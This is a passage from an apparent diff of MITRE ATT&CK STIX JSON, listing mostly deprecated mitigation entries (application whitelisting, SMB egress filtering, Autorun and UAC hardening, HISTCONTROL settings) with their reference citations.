"x_mitre_version": "1.0", + "modified": "2019-07-24T19:20:18.344Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1011", + "external_id": "T1011", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft GPO Bluetooth FEB 2009", + "description": "Microsoft. (2009, February 9). Disabling Bluetooth and Infrared Beaming. Retrieved July 26, 2018.", + "url": "https://technet.microsoft.com/library/dd252791.aspx" + }, + { + "source_name": "TechRepublic Wireless GPO FEB 2009", + "description": "Schauland, D. (2009, February 24). Configuring Wireless settings via Group Policy. Retrieved July 26, 2018.", + "url": "https://www.techrepublic.com/blog/data-center/configuring-wireless-settings-via-group-policy/" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--a98be93b-a75b-4dd4-8a72-4dfd0b5e25bb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Exfiltration Over Physical Medium Mitigation", + "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. 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Retrieved April 20, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--e547ed6a-f1ca-40df-8613-2ce27927f145", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Exploit Protection", + "description": "Use capabilities to detect and block conditions that may lead to or be indicative of a software exploit occurring.", + "x_mitre_version": "1.1", + "modified": "2020-06-20T20:22:55.938Z", + "id": "course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3", + "created": "2019-06-11T17:10:57.070Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1050", + "external_id": "M1050", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Exploit Public-Facing Application Mitigation", + "description": "Application isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:21:22.911Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1190", + "external_id": "T1190", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--65da1eb6-d35d-4853-b280-98a76c0aef53", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Exploitation for Client Execution Mitigation", + "description": "Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist. (Citation: Windows Blogs Microsoft Edge Sandbox) (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nOther types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:22:39.193Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1203", + "external_id": "T1203", + "source_name": "mitre-attack" + }, + { + "source_name": "Windows Blogs Microsoft Edge Sandbox", + "description": "Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.", + "url": "https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/" + }, + { + "source_name": "Ars Technica Pwn2Own 2017 VM Escape", + "description": "Goodin, D. (2017, March 17). Virtual machine escape fetches $105,000 at Pwn2Own hacking contest - updated. Retrieved March 12, 2018.", + "url": "https://arstechnica.com/information-technology/2017/03/hack-that-escapes-vm-by-exploiting-edge-browser-fetches-105000-at-pwn2own/" + }, + { + "source_name": "TechNet Moving Beyond EMET", + "description": "Nunez, N. (2017, August 9). Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "url": "https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/" + }, + { + "source_name": "Wikipedia Control Flow Integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. 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Moving Beyond EMET II \u2013 Windows Defender Exploit Guard. Retrieved March 12, 2018.", + "source_name": "TechNet Moving Beyond EMET" + }, + { + "url": "https://en.wikipedia.org/wiki/Control-flow_integrity", + "description": "Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.", + "source_name": "Wikipedia Control Flow Integrity" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--14b63e6b-7531-4476-9e60-02cc5db48b62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "External Remote Services Mitigation", + "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems. Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls. Disable or block remotely available services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1028). Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:27:15.659Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1133", + "external_id": "T1133", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--d4fd04e0-d1a4-4b5a-a5bb-16683cdbcce2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Extra Window Memory Injection Mitigation", + "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nAlthough EWM injection may be used to evade certain types of defenses, it is still good practice to identify potentially malicious software that may be used to perform adversarial actions and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.367Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1181", + "url": "https://attack.mitre.org/mitigations/T1181" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--cba5667e-e3c6-44a4-811c-266dbc00e440", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Fallback Channels Mitigation", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:28:35.941Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1008", + "external_id": "T1008", + "source_name": "mitre-attack" + }, + { + "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "description": "Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.", + "source_name": "University of Birmingham C2" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "File Deletion Mitigation", + "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. 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Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--34efb2fd-4dc2-40d4-a564-0c147c85034d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "File System Logical Offsets Mitigation", + "description": "Identify potentially malicious software that may be used to access logical drives in this manner, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.208Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1006", + "url": "https://attack.mitre.org/mitigations/T1006" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--902286b2-96cc-4dd7-931f-e7340c9961da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "File System Permissions Weakness Mitigation", + "description": "Use auditing tools capable of detecting file system permissions abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service binary target path locations. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for service file system permissions weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through abuse of file, directory, and service permissions by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs. Deny execution from user directories such as file download directories and temp directories where able. (Citation: Seclists Kanthak 7zip Installer)\n\nTurn off UAC's privilege elevation for standard users [HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]to automatically deny elevation requests, add: \"ConsentPromptBehaviorUser\"=dword:00000000 (Citation: Seclists Kanthak 7zip Installer). Consider enabling installer detection for all users by adding: \"EnableInstallerDetection\"=dword:00000001. This will prompt for a password for installation and also log the attempt. To disable installer detection, instead add: \"EnableInstallerDetection\"=dword:00000000. This may prevent potential elevation of privileges through exploitation during the process of UAC detecting the installer, but will allow the installation process to continue without being logged.", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:21.486Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1044", + "url": "https://attack.mitre.org/mitigations/T1044" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "source_name": "Seclists Kanthak 7zip Installer", + "description": "Kanthak, S. (2015, December 8). Executable installers are vulnerable^WEVIL (case 7): 7z*.exe\tallows remote code execution with escalation of privilege. Retrieved March 10, 2017.", + "url": "http://seclists.org/fulldisclosure/2015/Dec/34" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1022138b-497c-40e6-b53a-13351cbd4090", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "File and Directory Discovery Mitigation", + "description": "File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2020-01-17T16:45:23.120Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1083", + "url": "https://attack.mitre.org/mitigations/T1083" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "course-of-action", + "modified": "2020-06-20T20:46:36.342Z", + "id": "course-of-action--20f6a9df-37c4-4e20-9e47-025983b1b39d", + "description": "Use network appliances to filter ingress or egress traffic and perform protocol-based filtering. Configure software on endpoints to filter network traffic.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Filter Network Traffic", + "created": "2019-06-11T16:33:55.337Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/M1037", + "external_id": "M1037", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Firmware Corruption Mitigation", + "description": "Prevent adversary access to privileged accounts or access necessary to perform this technique. Check the integrity of the existing BIOS and device firmware to determine if it is vulnerable to modification. Patch the BIOS and other firmware as necessary to prevent successful use of known vulnerabilities. ", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:31:37.073Z", + "created": "2019-04-26T19:30:33.607Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1495", + "external_id": "T1495", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--70886857-0f19-4caa-b081-548354a8a994", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Forced Authentication Mitigation", + "description": "Block SMB traffic from exiting an enterprise network with egress filtering or by blocking TCP ports 139, 445 and UDP port 137. Filter or block WebDAV protocol traffic from exiting the network. If access to external resources over SMB and WebDAV is necessary, then traffic should be tightly limited with whitelisting. (Citation: US-CERT SMB Security) (Citation: US-CERT APT Energy Oct 2017)\n\nFor internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located.\n\nUse strong passwords to increase the difficulty of credential hashes from being cracked if they are obtained.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:32:11.883Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1187", + "external_id": "T1187", + "source_name": "mitre-attack" + }, + { + "source_name": "US-CERT SMB Security", + "description": "US-CERT. (2017, March 16). SMB Security Best Practices. Retrieved December 21, 2017.", + "url": "https://www.us-cert.gov/ncas/current-activity/2017/01/16/SMB-Security-Best-Practices" + }, + { + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "source_name": "US-CERT APT Energy Oct 2017" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--7009ba4d-83d4-4851-9fbb-e09e28497765", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Gatekeeper Bypass Mitigation", + "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:32:43.572Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1144", + "external_id": "T1144", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--1a7f5bd3-f6ee-4bd7-b949-2f3632ad6158", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Graphical User Interface Mitigation", + "description": "Prevent adversaries from gaining access to credentials through Credential Access that can be used to log into remote desktop sessions on systems.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to log into remote interactive sessions, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) and Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", + "x_mitre_version": "1.0", + "modified": "2021-08-23T20:25:19.202Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1061", + "url": "https://attack.mitre.org/mitigations/T1061" + }, + { + "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.", + "source_name": "Beechey 2010" + }, + { + "source_name": "Windows Commands JPCERT", + "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.", + "url": "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html" + }, + { + "source_name": "NSA MS AppLocker", + "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.", + "url": "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + }, + { + "url": "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "description": "Corio, C., & Sayana, D. P. (2008, June). Application Lockdown with Software Restriction Policies. Retrieved November 18, 2014.", + "source_name": "Corio 2008" + }, + { + "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.", + "source_name": "TechNet Applocker vs SRP" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "HISTCONTROL Mitigation", + "description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to \u201cignoredup\u201d instead of \u201cignoreboth\u201d or \u201cignorespace\u201d.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:34:34.065Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1148", + "external_id": "T1148", + "source_name": "mitre-attack" + }, + { + "source_name": "Securing bash history", + "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.", + "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--03c0c586-50ed-45a7-95f4-f496d7eb5330", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Hardware Additions Mitigation", + "description": "Establish network access control policies, such as using device certificates and the 802.1x standard. (Citation: Wikipedia 802.1x) Restrict use of DHCP to registered devices to prevent unregistered devices from communicating with trusted systems. \n\nBlock unknown devices and accessories by endpoint security configuration and monitoring agent.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:35:08.161Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1200", + "external_id": "T1200", + "source_name": "mitre-attack" + }, + { + "source_name": "Wikipedia 802.1x", + "description": "Wikipedia. (2018, March 30). IEEE 802.1X. Retrieved April 11, 2018.", + "url": "https://en.wikipedia.org/wiki/IEEE_802.1X" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--54e8722d-2faf-4b1b-93b6-6cbf9551669f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Hidden Files and Directories Mitigation", + "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:35:33.631Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1158", + "external_id": "T1158", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Hidden Users Mitigation", + "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the /Library/Preferences/com.apple.loginwindow Hide500Users value will force all users to be visible.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:36:24.202Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1147", + "external_id": "T1147", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Hidden Window Mitigation", + "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.", + "x_mitre_version": "1.0", + "modified": "2019-07-24T19:36:50.328Z", + "created": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "url": "https://attack.mitre.org/mitigations/T1143", + "external_id": "T1143", + "source_name": "mitre-attack" + } + ], + "x_mitre_deprecated": true, + "id": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "course-of-action", + "name": "Hooking 